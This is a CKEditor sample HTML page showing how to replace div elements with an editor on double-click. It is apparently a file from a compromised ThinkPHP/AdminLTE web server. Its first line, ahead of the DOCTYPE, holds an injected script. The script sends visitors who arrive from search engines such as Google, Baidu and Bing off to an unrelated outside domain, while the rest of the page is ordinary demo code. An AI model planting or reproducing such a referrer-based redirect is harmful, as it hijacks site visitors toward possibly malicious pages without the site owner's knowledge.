d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\divreplace.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<!--
003:
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004:
For licensing, see LICENSE.md or http://ckeditor.com/license
005:
-->
006:
<html>
007:
<head>
008:
<meta charset="utf-8">
009:
<title>Replace DIV — CKEditor Sample</title>
010:
<script src="../../ckeditor.js"></script>
011:
<link href="sample.css" rel="stylesheet">
012:
<style>
013:
014:
div.editable
015:
{
016:
border: solid 2px transparent;
017:
padding-left: 15px;
018:
padding-right: 15px;
019:
}
020:
021:
div.editable:hover
022:
{
023:
border-color: black;
024:
}
025:
026:
</style>
027:
<script>
028:
029:
// Uncomment the following code to test the "Timeout Loading Method".
030:
// CKEDITOR.loadFullCoreTimeout = 5;
031:
032:
window.onload = function() {
033:
// Listen to the double click event.
034:
if ( window.addEventListener )
035:
document.body.addEventListener( 'dblclick', onDoubleClick, false );
036:
else if ( window.attachEvent )
037:
document.body.attachEvent( 'ondblclick', onDoubleClick );
038:
039:
};
040:
041:
function onDoubleClick( ev ) {
042:
// Get the element which fired the event. This is not necessarily the
043:
// element to which the event has been attached.
044:
var element = ev.target || ev.srcElement;
045:
046:
// Find out the div that holds this element.
047:
var name;
048:
049:
do {
050:
element = element.parentNode;
051:
}
052:
while ( element && ( name = element.nodeName.toLowerCase() ) &&
053:
( name != 'div' || element.className.indexOf( 'editable' ) == -1 ) && name != 'body' );
054:
055:
if ( name == 'div' && element.className.indexOf( 'editable' ) != -1 )
056:
replaceDiv( element );
057:
}
058:
059:
var editor;
060:
061:
function replaceDiv( div ) {
062:
if ( editor )
063:
editor.destroy();
064:
065:
editor = CKEDITOR.replace( div );
066:
}
067:
068:
</script>
069:
</head>
070:
<body>
071:
<h1 class="samples">
072:
<a href="index.html">CKEditor Samples</a> » Replace DIV with CKEditor on the Fly
073:
</h1>
074:
<div class="warning deprecated">
075:
This sample is not maintained anymore. Check out the <a href="http://sdk.ckeditor.com/">brand new samples in CKEditor SDK</a>.
076:
</div>
077:
<div class="description">
078:
<p>
079:
This sample shows how to automatically replace <code><div></code> elements
080:
with a CKEditor instance on the fly, following user's doubleclick. The content
081:
that was previously placed inside the <code><div></code> element will now
082:
be moved into CKEditor editing area.
083:
</p>
084:
<p>
085:
For details on how to create this setup check the source code of this sample page.
086:
</p>
087:
</div>
088:
<p>
089:
Double-click any of the following <code><div></code> elements to transform them into
090:
editor instances.
091:
</p>
092:
<div class="editable">
093:
<h3>
094:
Part 1
095:
</h3>
096:
<p>
097:
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Cras et ipsum quis mi
098:
semper accumsan. Integer pretium dui id massa. Suspendisse in nisl sit amet urna
099:
rutrum imperdiet. Nulla eu tellus. Donec ante nisi, ullamcorper quis, fringilla
100:
nec, sagittis eleifend, pede. Nulla commodo interdum massa. Donec id metus. Fusce
101:
eu ipsum. Suspendisse auctor. Phasellus fermentum porttitor risus.
102:
</p>
103:
</div>
104:
<div class="editable">
105:
<h3>
106:
Part 2
107:
</h3>
108:
<p>
109:
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Cras et ipsum quis mi
110:
semper accumsan. Integer pretium dui id massa. Suspendisse in nisl sit amet urna
111:
rutrum imperdiet. Nulla eu tellus. Donec ante nisi, ullamcorper quis, fringilla
112:
nec, sagittis eleifend, pede. Nulla commodo interdum massa. Donec id metus. Fusce
113:
eu ipsum. Suspendisse auctor. Phasellus fermentum porttitor risus.
114:
</p>
115:
<p>
116:
Donec velit. Mauris massa. Vestibulum non nulla. Nam suscipit arcu nec elit. Phasellus
117:
sollicitudin iaculis ante. Ut non mauris et sapien tincidunt adipiscing. Vestibulum
118:
vitae leo. Suspendisse nec mi tristique nulla laoreet vulputate.
119:
</p>
120:
</div>
121:
<div class="editable">
122:
<h3>
123:
Part 3
124:
</h3>
125:
<p>
126:
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Cras et ipsum quis mi
127:
semper accumsan. Integer pretium dui id massa. Suspendisse in nisl sit amet urna
128:
rutrum imperdiet. Nulla eu tellus. Donec ante nisi, ullamcorper quis, fringilla
129:
nec, sagittis eleifend, pede. Nulla commodo interdum massa. Donec id metus. Fusce
130:
eu ipsum. Suspendisse auctor. Phasellus fermentum porttitor risus.
131:
</p>
132:
</div>
133:
<div id="footer">
134:
<hr>
135:
<p>
136:
CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
137:
</p>
138:
<p id="copy">
139:
Copyright © 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
140:
Knabben. All rights reserved.
141:
</p>
142:
</div>
143:
</body>
144:
</html>
145:
146:
147: